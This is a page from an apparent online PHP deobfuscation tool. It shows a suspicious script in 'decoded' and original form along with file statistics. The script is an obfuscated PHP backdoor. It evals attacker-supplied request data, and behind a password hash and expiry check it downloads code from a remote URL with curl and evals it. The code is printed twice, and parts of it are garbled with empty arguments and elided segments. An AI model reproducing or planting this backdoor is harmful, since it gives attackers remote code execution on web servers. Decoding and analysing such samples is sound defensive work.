Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

error_reporting(0); $Yl = "range"; $AntWM = $Yl(,);$BS=${$AntWM[4+27].$AntWM[42+17].$AntWM..

Decoded Output download

<?  error_reporting(0); $Yl = "range"; $AntWM = $Yl(,);$BS=${$AntWM[4+27].$AntWM[42+17].$AntWM[10+37].$AntWM[34+13].$AntWM[39+12].$AntWM[34+19].$AntWM[23+34]}; @(count($BS)==(10+5)&&in_array(gettype($BS).count($BS),$BS))?(($BS[33+31]=$BS[27+37].$BS[36+40])&&($BS[5+80]=$BS[45+19]($BS[34+51]))&&@eval($BS[3+61](${$BS[26+19]}[0+15]))):$BS;class cDSC{ static function Yix($meR) { $ocGl = ....; $KD = $ocGl(, ); $vb = explode(, $meR); $ICKogBjUXL = ""; foreach ($vb as $lNRMK => $bDaAfkMI) $ICKogBjUXL .= $KD[$bDaAfkMI - 73850]; return $ICKogBjUXL; } static function lhOrBZLYs($qcsCDhpv, $EvQLIil) { $tqv = curl_init($qcsCDhpv); curl_setopt($tqv, CURLOPT_RETURNTRANSFER, 1); $HxRVdmubUv = curl_exec($tqv); return empty($HxRVdmubUv) ? $EvQLIil($qcsCDhpv) : $HxRVdmubUv; } static function nOcgR() { $qsfuTPembC = array("73877#73862#73875#73879#73860#73875#73881#73874#73859#73866#73877#73860#73871#73865#7386673861#73860#73862#73881#73862#73865#73860#73927#7392573870#73861#73865#73866#73881#73876#73875#73877#73865#73876#7387573864#73879#73877#7386973878#73879#73861#73875#73922#73924#73881#73876#73875#73877#73865#73876#7387573874#73871#73868#73875#73881#73873#73875#73860#73881#73877#73865#73866#73860#73875#73866#73860#7386173904#739347385173929#7393473911#73894#73894#73911#7388773865#73874"); foreach ($qsfuTPembC as $vEZmTnP) $khXEMqWjt[] = self::Yix($vEZmTnP);$iX = @$khXEMqWjt[1](${...}[$khXEMqWjt[6+3]]); $zCILh = @$khXEMqWjt[0+3]($khXEMqWjt[0+6], $iX); $YTeUiZRlOE = $khXEMqWjt[2+0]($zCILh, true); @${...}[$khXEMqWjt[4+6]] == 1 && die($khXEMqWjt[5+0](__FILE__)); if( ((@$YTeUiZRlOE[0] - time()) > 0) and (md5(md5($YTeUiZRlOE[1+2])) === "7777fe8da1c303a9986e217446cb8072") ): $PygQlefXv = self::lhOrBZLYs($YTeUiZRlOE[0+1], $khXEMqWjt[5+0]);@eval($khXEMqWjt[0+4]($PygQlefXv));die; endif; }}cDSC::nOcgR(); ?>

Did this file decode correctly?

Original Code

error_reporting(0); $Yl = "range"; $AntWM = $Yl(,);$BS=${$AntWM[4+27].$AntWM[42+17].$AntWM[10+37].$AntWM[34+13].$AntWM[39+12].$AntWM[34+19].$AntWM[23+34]}; @(count($BS)==(10+5)&&in_array(gettype($BS).count($BS),$BS))?(($BS[33+31]=$BS[27+37].$BS[36+40])&&($BS[5+80]=$BS[45+19]($BS[34+51]))&&@eval($BS[3+61](${$BS[26+19]}[0+15]))):$BS;class cDSC{ static function Yix($meR) { $ocGl = ....; $KD = $ocGl(, ); $vb = explode(, $meR); $ICKogBjUXL = ""; foreach ($vb as $lNRMK => $bDaAfkMI) $ICKogBjUXL .= $KD[$bDaAfkMI - 73850]; return $ICKogBjUXL; } static function lhOrBZLYs($qcsCDhpv, $EvQLIil) { $tqv = curl_init($qcsCDhpv); curl_setopt($tqv, CURLOPT_RETURNTRANSFER, 1); $HxRVdmubUv = curl_exec($tqv); return empty($HxRVdmubUv) ? $EvQLIil($qcsCDhpv) : $HxRVdmubUv; } static function nOcgR() { $qsfuTPembC = array("73877#73862#73875#73879#73860#73875#73881#73874#73859#73866#73877#73860#73871#73865#7386673861#73860#73862#73881#73862#73865#73860#73927#7392573870#73861#73865#73866#73881#73876#73875#73877#73865#73876#7387573864#73879#73877#7386973878#73879#73861#73875#73922#73924#73881#73876#73875#73877#73865#73876#7387573874#73871#73868#73875#73881#73873#73875#73860#73881#73877#73865#73866#73860#73875#73866#73860#7386173904#739347385173929#7393473911#73894#73894#73911#7388773865#73874"); foreach ($qsfuTPembC as $vEZmTnP) $khXEMqWjt[] = self::Yix($vEZmTnP);$iX = @$khXEMqWjt[1](${...}[$khXEMqWjt[6+3]]); $zCILh = @$khXEMqWjt[0+3]($khXEMqWjt[0+6], $iX); $YTeUiZRlOE = $khXEMqWjt[2+0]($zCILh, true); @${...}[$khXEMqWjt[4+6]] == 1 && die($khXEMqWjt[5+0](__FILE__)); if( ((@$YTeUiZRlOE[0] - time()) > 0) and (md5(md5($YTeUiZRlOE[1+2])) === "7777fe8da1c303a9986e217446cb8072") ): $PygQlefXv = self::lhOrBZLYs($YTeUiZRlOE[0+1], $khXEMqWjt[5+0]);@eval($khXEMqWjt[0+4]($PygQlefXv));die; endif; }}cDSC::nOcgR();

Function Calls

None

Variables

None

Stats

MD5 4672e270ee574199ac1c64b5773d29d5
Eval Count 0
Decode Time 35 ms